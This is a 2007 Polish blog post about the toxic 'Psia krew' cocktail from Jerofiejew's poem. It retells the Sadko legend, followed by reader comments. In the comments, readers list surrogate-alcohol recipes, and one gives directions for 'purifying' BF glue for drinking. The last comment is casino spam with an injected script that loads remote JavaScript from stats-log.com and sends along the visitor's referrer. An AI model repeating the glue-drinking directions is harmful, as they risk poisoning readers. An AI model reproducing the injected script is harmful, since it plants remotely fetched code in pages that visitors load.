28-06-2007 Frans
 

W sławnym mieście Nowogrodzie

Czy pamiętacie z pierwszego artykułu cyklu politurologicznego skład drinka o wdzięcznej nazwie 'Psia krew'?

Zapewne nie, więc Wam przypomnę:

  • Piwo żygulowskie - - 100 g
  • Szampon "Bogacz Sadko" - - 30 g
  • Rezol, płyn do zwalczania łupieżu - - 70 g
  • Klej BF - - 15 g
  • Płyn hamulcowy - - 30 g
  • Dezynsektal, środek owadobójczy - - 30 g

Odkąd sięgam pamięcią, zestaw ten przyprawiał mnie o specyficzne uczucie, taką mieszaninę obrzydzenia, lęku i podziwu. Zestaw konkretny. Bezkompromisowy. Brutalny. Pamiętam też, i z łatwością przywołuję w tej chwili następne uczucie, wywołane przy trzecim, szybkim czytaniu listy ingredientów przez dwa pierwsze składniki. Piwo żygulowskie... Bogacz Sadko... jak ciepło, jak kojącą brzmią te nazwy w zderzeniu z Rezolem i Dezynsektalem! Sadko... jak miód! No fajnie ale kto to, do jasnej cholery, był ten Sadko? Pytanie to towarzyszyło mi przez kolejnych osiem czy dziewięć lat mojej znajomości z poematem Jerofiejewa. Z czasem utrwaliłem w sobie przekonanie, że nazwa szamponu jest po prostu zmyślona. Wyobraźcie sobie moje zdziwienie i radość, gdy kilka dni temu, przewracając kartki jakiejś przypadkowej książki, natknąłem się na ten fragment:

”W sławnym mieście Nowogrodzie żył sobie gęślarz imieniem Sadko. Z urodzenia był człowiekiem ubogim, zapraszano go jednak na wspaniałe uczty do przebogatych bojarów i kupców nowogrodzkich, gdzie rozweselał ich śpiewkami przy wtórze gęśli. Pewnego dnia zapomniano o Sadce, nie przywołano go na ucztę, nie zaproszono też ani drugiego, ani trzeciego dnia.

Cniło się Sadce, poszedł więc nad jezioro Ilmeń, przysiadł u brzegu na gorącym kamieniu i począł grać na jaworowych gęśliczkach. Grał tak od świtu do późnego wieczora. Kiedy zapadł mrok, wzburzyły się fale jeziora, a woda przemieszała się z piaskiem.

Lęk ogarnął Sadkę, opuścił więc brzeg jeziora i powrócił do Nowogrodu. Ale kiedy minęła noc, Sadki znowu nikt nie zaprosił na ucztę ani tego dnia, ani drugiego, ani trzeciego. I znowu zaczęło się przykrzyć Sadce, poszedł więc jak poprzednio nad jezioro Ilmeń, przysiadł na gorącym kamieniu i znów grał na gęśliczkach cały boży dzień. Kiedy zapadł wieczór, powtórnie wzburzyły się fale jeziora, a woda przemieszała się z piaskiem. I znowu zatrwożył się Sadko i powrócił do Nowogrodu.

Lecz i teraz, i w dni następne nie wołali go bojarzy na swe uczty. I znów pognał Sadkę smutek nad jezioro Ilmeń, przysiadł więc tam nieborak na brzegu i grał na gęśliczkach aż do wieczora. Kiedy skończył się dzień, fale znowu poczęły się burzyć i, jak poprzednio, woda przemieszała się z piaskiem. Tym razem jednak Sadko, opanowawszy lęk, pozostał nad brzegiem jeziora i grał dalej na swoich gęśliczkach. Wynurzył się wówczas z czeluści jeziora król wód i w te słowa odezwał się do gęślarza: Dzięki ci Sadko za to, żeś mieszkańców głębin jeziornych zabawił swym graniem. Właśnie odbywała się u mnie uczta i granie twe rozweseliło wszystkich gości. Nie wiem doprawdy, czym mogę ci za to odpłacić? Ale posłuchaj: wracaj prędko do Nowogrodu, jutro zaproszą cię kupcy na ucztę. A kiedy już sobie pojedzą i popiją, poczną się, jak każe zwyczaj, przechwalać: ten nieprzebraną ilością złota, tamten rączym koniem, a jeszcze inny młodzieńczą krzepą; najmądrzejszy z bojarów pochlubi się zacnymi rodzicami, najgłupszy zaś będzie się chełpił piękną żoną. Ty, Sadko, powiedz im po prostu: „Ja wiem tylko tyle, że w jeziorze Ilmeń żyje ryba ze złotymi płetwami". Przebogaci kupcy wdadzą się z tobą w sprzeczkę. Przybij wtedy z nimi zakład: ty poręczysz twą własną szaloną głową, oni stojącymi na rynku straganami wypełnionymi po brzegi cennym towarem. Po czym z jedwabiu splećcie sieć i zanurzcie ją po trzykroć w jeziorze Ilmeń, ja zaś za każdym razem nagonię do niej rybę złotopłetwą. Tym sposobem posiądziesz kramy z najdroższymi towarami i staniesz się nowogrodzkim kupcem, i to panem całą gębą.

Wrócił Sadko do Nowogrodu. I rzeczywiście następnego dnia zaproszono go na ucztę do domu pewnego zamożnego kupca. Na wspaniałą wieczerzę zeszli się najbogatsi kupcy w Nowogrodzie. A kiedy byli już syci jadła i napojów, poczęli się swym zwyczajem przechwalać. Jeden wynosił pod niebiosa swe niezliczone kosztowności, drugi szczycił się rączym koniem, inny junacką krzepą, najmędrszy chlubił się zacnymi rodzicami, najgłupszy zaś pysznił się urodą młodej żony. Sadko tylko, siedząc pośród nich, niczym się nie chełpił. Zagadnęli go więc bogaci kupcy nowogrodzcy:

- Co tak przykucnąłeś cicho między nami, czemu nie pochwalisz się niczym?
Odrzekł im Sadko:
A bo i czymże mógłbym się pochwalić? Nie mam ani niezmierzonych skarbów, ani młodej urodziwej żony. Jest tylko jedna rzecz, o której wiem, i tym mogę się pochwalić: w jeziorze Ilmeń żyje złotopłetwą ryba.
Bogaci kupcy nowogrodzcy zaczęli się z nim sprzeczać, nie chcieli bowiem uwierzyć, iż złotopłetwą ryba żyje w jeziorze Ilmeń. Sadko zaproponował im wówczas zakład:
— Jeśli okaże się, że prawda jest po waszej stronie, ofiaruję wam swoją szaloną głowę, nie posiadam bowiem nic innego, o co mógłbym się założyć.
Kupcy przystali na zakład:
— My natomiast, jeśli wygrasz, damy ci sześć najzasobniejszych na rynku kramów. Po czym upletli z jedwabiu sieć i poszli nad jezioro Ilmeń. I oto wyciągnąwszy sieć z wody znaleźli w niej złotopłetwą rybę. Zanurzyli sieć powtórnie i znowu miotała się w niej złotopłetwą ryba. Zarzucili sieć po raz trzeci — i za trzecim razem złapali złotopłetwą rybę.

Cóż było począć? Musieli kupcy nowogrodzcy odstąpić Sadce sześć stojących na rynku kramów, pełnych drogich towarów. Przyjęto go także w poczet bogatych nowogrodzkich kupców.

Od tej chwili Sadko stał się zamożnym kupcem i majątek jego rósł z dnia na dzień, zręcznie bowiem handlował w mieście, a wypuszczał się także w drogę do odległych krajów, skąd powracał z wielkim zyskiem. Niebawem też Sadko się ożenił i zbudował sobie pałac z białego kamienia. Urządził go na podobieństwo nieba. Jak na niebie świeci słońce czerwone, tak świeciło czerwone słońce i w jego pałacu, jak na niebie błyszczy księżyc, tak błyszczał i w jego komnatach, a jak gwiazdy świecą na firmamencie, tak świeciły i w jego wspaniałym domu. Tak ozdobił sobie Sadko pałac z białego kamienia.

Po czym wydał wspaniałą biesiadę. Sprosił na nią gości co niemiara: zamożnych kupców nowogrodzkich i ihumenów, wśród nich zaś Łukę Zinowjewa i Fomę Nazarjewa. Goście najadłszy się i napiwszy do syta, zaczęli wedle zwyczaju się przechwalać. Jeden chełpił się sztukami złota, drugi bystrym koniem, trzeci szczycił się niezwykłą siłą, inny zaś świetnym pochodzeniem, najmądrzejszy zaś chwalił się zacnymi rodzicami, najgłupszy chełpił się urodą młodej żony. Wtedy odezwał się Sadko:

-Panowie nowogrodzcy, kupcy i ihumeni! Zeszliście się tu oto na wspaniałą ucztę w moim domu, napoje rozweseliły wasze lica. A kiedyście już mieli dość jadła i picia, poczęliście, jak wam zwyczaj nakazuje, chełpić się, jeden tym, co naprawdę było, inny tym, co się nigdy nie zdarzyło. Czymże zaś ja mógłbym się pochwalić? Mam już wszystkiego w bród, nie zabraknie mi kosztowności, a moi zacni wspólnicy nie zostawią mnie na łasce losu. Ale mówię wam, że nie spocznę, póki nie wykupię wszystkich w Nowogrodzie towarów, i tych marnych, i tych cennych, tak że nie zostanie w końcu w naszym mieście nic na sprzedaż.

Obruszyli się na to nowogrodzcy ihumeni, oburzył się Foma Nazarjew, oburzył się Łuka Zinowjew i rzekli:

- O co się założymy, że nie będziesz w stanie wykupić wszystkich towarów w Nowogrodzie? Odparł im Sadko:

- Wyznaczcie sumę, jaka wam się żywnie podoba! Poprzestali na trzydziestu tysiącach sztuk złota. Po czym biesiadnicy po wspaniałej uczcie rozeszli się do domów.

-Nazajutrz Sadko zerwał się wcześnie z łoża i pobudził swych druhów. Każdemu z nich wręczył pieniędzy pod dostatkiem i rozesłał ich po mieście. Sam zaś pospieszył na rynek, by wykupić w Nowogrodzie wszystkie towary. To samo uczynił dnia następnego, a także trzeciego. A kiedy nie było już prawie nic do kupienia w Nowogrodzie, nagle na rynku zaroiło się od moskiewskich towarów. Zamyślił się Sadko głęboko:

-Gdybym nawet oprócz wszystkich towarów z Nowogrodu wykupił jeszcze i to, co przywieziono z Moskwy, wkrótce nadesłano by nowe towary z krain zamorskich i jeden Sadko nie byłby w stanie wykupić wszystkiego na świecie. Może to jednak lepiej dla mnie, kupca nowogrodzkiego, że miasto jest jeszcze bogatsze ode mnie i że nie mogę wykupić wszystkiego w Nowogrodzie. Słuszniej jest zatem wypłacić trzydzieści tysięcy sztuk złota tym, z którymi poszedłem o zakład!

Jak pomyślał, tak też uczynił: wypłacił trzydzieści tysięcy sztuk złota. Po czym zbudował trzydzieści statków, trzydzieści czarnych okrętów, i załadował je po brzegi towarami nowogrodzkimi. Pożeglował wzdłuż rzeki Wołchow, która łączy jezioro Ilmeń i Ładogę, poprzez Ładogę dostał się na Newę, spłynął nią do końca i tak oto dotarł do sinego morza. Morzem popłynął dalej do Złotej Ordy. Tam sprzedał z wielkim zyskiem nowogrodzkie towary, tak że napełnił złotem czterdzieści beczek, do reszty zaś baryłek zsypał czyste srebro i prawdziwe perły.

Kiedy wypłynęli na otwarte morze, nagle zatrzymały się czarne galery, fala poczęła nimi rzucać, wicher rwał żagle, burza groziła zdruzgotaniem okrętów. I jakby ich kto zaczarował, nie mogli ruszyć z miejsca. Rzekł wówczas Sadko do swych towarzyszy:

-Posłuchajcie, moi zacni brateńkowie! Po wielokroć już przemierzaliśmy morza, zawsze jednak zaniedbywaliśmy króla mórz, nie składając mu żadnych danin. Teraz zaś on na pełnym morzu dopomina się od nas należnego mu haraczu. I rozkazał Sadko dzielnym żeglarzom wrzucić beczkę złota w sine morze.

Drużyna usłuchała i wyrzuciła przez burtę beczkę napełnioną złotem, ale burza nie ucichła. Nawałnica łomotała w statki, rwała żagle, groziła zdruzgotaniem okrętów — a te nie mogły ruszyć naprzód.

Znowu rzekł więc Sadko do załogi:
Posłuchajcie, moi dzielni towarzysze! Danina nasza musiała być dla króla mórz zbyt mała. Wrzućcie jeszcze do sinego morza baryłkę srebra!
Żeglarze usłuchali, wrzucili napełnioną czystym srebrem beczkę w sine morze, ale burza nie popuściła, a statki nie mogły ruszyć z miejsca. Po raz trzeci więc powiedział Sadko do swych towarzyszy:
- Snąć i tego mu mało! Rzućcie do morza beczułkę pereł prawdziwych!
Wtedy wrzucili druhowie w morze również pełną beczkę pereł, ale czarne statki nie ruszyły naprzód, jeno wicher targał żaglami, a fale smagały burty.
-Biada nam, mili brateńkowie! - rzekł wówczas Sadko do swych dzielnych chłopców. - Wygląda na to, że król mórz dopomina się od nas żywej ofiary. Musimy ciągnąć losy. Niech każdy z was wyryje na patyczku z wierzby swe imię i wrzuci drewienko do sinego morza; ja zrobię sobie pałeczkę ze złota. Czyj patyczek utonie, ten będzie musiał pójść w głębiny morza.
Zrobili, jak powiedział. Patyczki wszystkich żeglarzy unosiły się na powierzchni, pałeczka Sadki zaś z głośnym pluskiem poszła na dno. Rzekł wówczas Sadko:
-Błąd jakiś wkradł się do losowania. Teraz wy wyryjcie wasze imiona na złotych pałeczkach, a ja zrobię sobie patyczek z dębiny.
Tak też zrobili, i złote pałeczki z imionami żeglarzy pływały na powierzchni wody, patyczek zaś Sadki z głośnym pluskiem znowu opadł na dno morza. Ponownie ozwał się Sadko:
- I to losowanie nie było rzetelne. Zróbcie sobie wszyscy patyczki z dębiny, ja zaś wytnę sobie z drewna lipowego.
Żeglarze wykonali rozkaz. I znowu ich patyczki unosiły się na powierzchni morza, patyczek Sadki zaś z głośnym pluskiem wpadł w czeluść morską. Wówczas Sadko tymi słowami zwrócił się do towarzyszy:
- Jesteśmy bezsilni! Widać król mórz domaga się samego Sadki. Przynieście mi więc, moi zacni druhowie, inkaust, łabędzie pióro i papier opatrzony pieczęcią.
Kiedy wszystko to przyniesiono, Sadko, majętny kupiec nowogrodzki, usiadł na stołku splecionym z rzemieni, przy stoliku dębowym, i począł kreślić swą ostatnią wolę: spisał więc najpierw cały swój majątek, potem jedną jego część zapisał na cerkwie, inną podzielił między brać żebraczą, część zapisał młodej żonie, a resztę – swoim wiernym druhom. Skończywszy testament, uderzył w płacz i zalewając się łzami rzekł do swych powierników:
A teraz, moi drodzy przyjaciele, spuśćcie na wodę deskę dębową, zejdę najpierw na nią, by nie od razu pogrążyć się w śmiercionośnych odmętach.

Ujął jeszcze raz w dłonie jaworowe gęśliczki, zapłakał gorzko i pieśnią pożegnał załogę statku, cały piękny świat i miasto rodzinne, Nowogród. Po czym spuścił się ze statku na deskę dębową i przez chwilę utrzymywał się na powierzchni morza.

Wtedy czarne statki żwawo zerwały się z miejsca i pofrunęły niczym wrony. Sadko zaś pozostał wśród sinego morza. Z tego wielkiego strapienia usnął na dębowej desce, a kiedy się obudził, był już na dnie morza. Ze zdumieniem spostrzegł, że poprzez wodę przedziera się słońce i że nagle znalazł się obok pałacu wzniesionego z białego kamienia. Wszedł do środka i ujrzał siedzącego w pałacu króla mórz, który pozdrowił go tymi słowami:

Witaj mi Sadko! Wielokrotnie już przemierzałeś morze, dotąd jednak nie opłaciłeś daniny należnej władcy mórz. Teraz sam stanąłeś przed moim obliczem, jako najmilszy z darów. Mówią, że po mistrzowsku grasz na jaworowych gęślach, zagraj mi więc coś na nich!

Cóż innego mógł Sadko uczynić? Ujął gęśle jaworowe i potrącił struny. Ledwie dały się słyszeć pierwsze dźwięki, król mórz ruszył w tany. Tańcem swym wprawił w ruch sine morze i wzburzyły się fale na powierzchni i poczęły smagać czarne statki, wiele okrętów się rozbiło, wielu ludzi znalazło śmierć w sinym morzu. A było na morzu także wielu ludzi pobożnych, którzy w swej biedzie zwracali się z błaganiem do świętego Mikołaja, by łaskawie wybawił ich z nieszczęścia.
Nagle Sadko poczuł dotknięcie na prawym ramieniu. Odwrócił się więc do tyłu, za nim stał stary, siwy człowiek, mówiąc:
- Dość już grałeś na swych jaworowych gęślach, Sadko!
Nie z własnej woli grałem teraz - odrzekł Sadko starcowi. - Zmusił mnie do grania król mórz.

Odezwał się ponownie siwy starzec:
Posłuchaj mnie, Sadko, bogaty kupcze nowogrodzki! Zerwij struny twych gęśli, powyłamuj w nich kołeczki i powiedz władcy mórz: „Gęśle moje nie mają strun, nie trzymają kołeczki, nie mogę już dalej grać". I zapyta ciebie król mórz: „Czy nie pragniesz się ożenić w głębinach morza?" Odpowiedz mu wtedy: „Jak uważasz, wszak ty wiesz najlepiej, co czynić należy!". Na co on ci powie: „Bądź gotów na jutro, sam sobie wybierzesz oblubienicę!". Wówczas przeciągnie przed tobą orszak dziewic morskich, przepuść pierwsze trzysta dziewic, także drugie trzysta dziewic, kiedy zaś będzie przeciągać trzecie trzysta dziewic, bacz dobrze, na końcu bowiem orszaku będzie szła panna morska imieniem Czerniawa. Wybierz sobie tę Czerniawę na żonę, a będzie ci sprzyjało szczęście. Ale kiedy pierwszej nocy zostaniecie sami, bądź wobec niej pełen szacunku, nie bierz się do całowania, a wtedy wrócisz do Nowogrodu. Jeżeli zaś zaczniesz dziewicę morską napastować pocałunkami, pozostaniesz na zawsze w głębinach sinego morza. Powróciwszy zaś na świętą Ruś i zamieszkawszy znowu w swym mieście rodzinnym, każ tam wznieść cerkiew pod wezwaniem świętego Mikołaja, gdyż nie kto inny stoi przed tobą, tylko sam święty Mikołaj.

To rzekłszy, siwy starzec zniknął. Sadko zaś zerwał struny, wyłamał kołeczki w gęślach i nie mógł już więcej muzykować.
- Co się stało, dlaczego nie grasz dalej? - zapytał władca mórz, przerywając taniec.
Odparł mu Sadko:
- Zerwały się struny i połamały kołeczki, na nic się zdadzą wszelkie próby, by zagrać jeszcze na gęślach.
Król mórz usiłował go jednak zniewolić do pozostania u siebie.
- A czy nie miałbyś ochoty poślubić tu, w sinym morzu, jednej z pięknych dziewic?
- Tu, w sinym morzu, muszę być posłuszny twej woli - odparł Sadko.
Władca mórz pozwolił mu jednak wedle własnego upodobania wybrać żonę spośród dziewic morskich.

Następnego dnia rano przeciągnęły przed Sadką przepiękne dziewice morskie, żeby mógł spośród nich wybrać sobie oblubienicę. Towarzyszył im król mórz. Przeszło pierwszych trzysta dziewic, Sadko jednak nie rzekł ani słowa. Nadeszło drugie trzysta dziewic, Sadko nie zatrzymał żadnej. A kiedy trzeci orszak przechodził, jako ostatnia z trzystu szła przepiękna dziewica, imieniem Czerniąwa; Sadko natychmiast się w niej rozkochał i poprosił o jej rękę. Rzekł mu wówczas władca mórz:
Sam widzisz, Sadko, że znalazłeś w głębokościach sinego morza odpowiednią dla siebie żonę.

Odbyło się wspaniałe wesele, a kiedy uczta dobiegła końca, odszedł Sadko, bogaty kupiec nowogrodzki, wraz z przepiękną dziewicą morską do sypialni w głębi morza. Tam zapadł od razu w głęboki sen, nie dotknąwszy nawet pocałunkiem swojej młodej oblubienicy.

A kiedy się obudził, znalazł się w mieście rodzinnym, w Nowogrodzie, na stromym zboczu wzgórza, z którego biorą początek wody Czemiawy. I zobaczył, że właśnie na rzekę Wołchow wpływały jego czarne statki. Załoga statków była przekonana, że Sadko spoczywa w głębinach morza, ale żona jego nie wątpiła, że mąż powróci wespół z dzielnymi druhami.

Podpłynęły wszystkie trzydzieści okrętów do brzegu. Zacnych towarzyszy ogarnęło zdziwienie, zostawili bowiem Sadkę na sinym morzu, a oto stoi on teraz przed nimi na stromym brzegu nad rzeką Wołchow. Z radością przywitali się ze sobą i poszli do pałacu Sadki. Sadko zaś, przebogaty kupiec nowogrodzki, wziął swą żonę w objęcia.

Potem wyładowali statki, wynosząc bezcenne skarby i nieprzebrane ilości złota. Sadko kazał wznieść świętemu Mikołajowi jedną cerkiew, a Matce Boskiej drugą, pokajał się za swoje grzechy i wiódł odtąd pobożny żywot w Nowogrodzie. Nigdy już więcej nie wypłynął na sine morze, spędzając resztę życia w swym rodzinnym mieście.”

Powyższe opowiadanie zaczerpnąłem z „Mitologii” Imre Trencsenyi-Waldafpel, wydanej przez PWN raz jedyny w roku 1967. Do nabycia w antykwariatach ?. Za pomoc w digitalizacji ? tekstu dziękuję Boskiemu Oskiemu.

Frans  

16.   3.7.2007   10:53:34 Radosław
Ten Sadko jest znany w Rosji ze starej nowogrodzkiej legendy. Wikipedia zna goscia:
http://ru.wikipedia.org/wiki/%D0%A1%D0%B0%D0%B4%D0%BA%D0%BE

Google na zapytanie Bogacz Sadko (Sadko, Bogaty Gość) daje ponad 24 tysiace odpowiedzi!

O szmponie znalazlem na stronie analizy napojow z Moskwy-Pietuszki:
http://www.ruthenia.ru/logos/number/2000_4/15.htm

Gość tam pisze, że "rzadki radziecki szampon nazywał się w istocie >SADKO<." Zawierał troche alkoholu oraz cale mnostwo innych substancji "powierzchniowo czynnych". Bardzo mozliwe, ze specyfik ten istnieje w dalszym ciagu (pewnie juz na lepszym skladzie), bo znalazlem go w paru artykulach o zdrowiu.
17.   3.7.2007   11:7:28 Święty
To może ktoś zrobi porządną analizę drina, tak żeby można było przeprowadzić eksperyment. Chociaż tego drina to bym się chyba nie podjął. Już prędzej "Łzy Komsomołki":

Lawenda 15 g
Werbena 15 g
Woda kolońska "Las" 30 g
Lakier do paznokci 2 g
Płyn do płukania ust 150 g
Lemoniada 150 g

W sumie chyba lajtowy drink. Jedyny ciężkostrawny składnik to lakier do paznokci. Na szczęście jest go tylko 2g, więc chyba luz. Reszta może być co najwyżej niedobra
18.   3.7.2007   18:24:7 Szczepan Zamokły - Satanowski
A jednak w nazwie są "łzy"...
19.   4.7.2007   8:54:20 Radosław
płyn do twarzy Lawenda zawiera (uwaga!) witamine C, naturalne masło lawendowe i 35% czystego etanolu.
"Werbena" to tania woda kolonska (pewnie ok 60% etanolu). Las to nie jest woda kolonska, tylko w oryginale nazywa sie to "Leśna woda" i jest czymś podobnym do tej Lawendy (31-35%). Podobno radzickie płyny do płuaknia usta (zwane w ich języku eliksirami) zawierały 20-30% spirytu! ten lakier do paznokci też jest po coś, ale po co to nie umiem przetłumaczyć "Употребление лака для ногтей как сырья для получения спиртосодержащего напитка не зафиксировано."
20.   4.7.2007   9:2:33 Radosław
wracając do "Psiej krwi". jednym ze składników jest tam klej BF. UWAGA! w ZSRR ten klej byl na pewno na etanolu. teraz moga robic go z innych skladnikow (tak jak zimowy plyn do spryskiwaczy) - wtedy nie nalezy go pic!

W kazdym razie ten BF (one mialy rozne numery: BF-2, BF-3, BF-4, BF-6) nalezy przed spozyciem OCZYSCIC:
200gr kleju, 300gr wody, 10gr soli. odstawic na 10 min. Potem chyba nalezy usunac skaldniki stale od tej substancji polplynnej. To polplynne cos zawiera ok 30% etanolu. nie przestaje jednak smierdziec klejem.
21.   4.7.2007   10:57:35 Święty
Kurcze Radziu, zaskakujesz mnie. W sumie to może skutek twojej pracy, któż to wie ...
22.   5.7.2007   0:15:23 Franois
Ojacieżpierdziulę, ja tego nie będę pił.
23.   5.7.2007   7:26:18 Radosław
A w czym wydaję Ci się zaskakujący Święty? O BF chodzi? Swoją drogą to zastanawiam sie ile w RZECZYWISTOŚCI było alkoholu we wszystkich tych specyfikach za sowietów. Ponad połowa musiała przechodzić przez gardła producentów! Chyba, że woleli spirytus z zapachem kleju, albo lawendy......
24.   5.7.2007   19:45:36 Radosław
Raz jeszcze musze wrócić do tematu artykułu. Jako fizyk jestem kompletnie zaskoczony tym, co Jerofiejew napisał o "Psiej Krwi". "To nie napój - to muzyka sfer"! . Z muzyka sfer jestem dość blisko związany od jakichś 15 lat. Nawet kiedyś (w 95) przygotowałem na ten temat referat na OMSĘ. Stąd ten mój osobisty wtręt, ale nie wiem, czy na mieszankę Rezolu i R40 bym się pisał....

BTW: pod artykułem o Eksperymencie Świętego dopisałem wyniki mego dochodzenia na temat oczyszczania politury
25.   8.10.2007   21:16:41 free slots free slots
qwk4cgg-s0qas42-tw6qf011-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://onlinecasinos.dmdns.com/#2">online casinos</a>
http://roulette.dmdns.com/#1
[url=http://www.sierratimes.com/cgi-bin/ikonboard/topic.cgi?forum=6&topic=50#3]online poker[/url]
[url]http://phenterminer.dmdns.com/#4[/url]
[http://roulette.dmdns.com/#5 roulette]
"roulette":http://roulette.dmdns.com/#6
[LINK http://www.sierratimes.com/cgi-bin/ikonboard/topic.cgi?forum=6&topic=50#7]online poker[/LINK]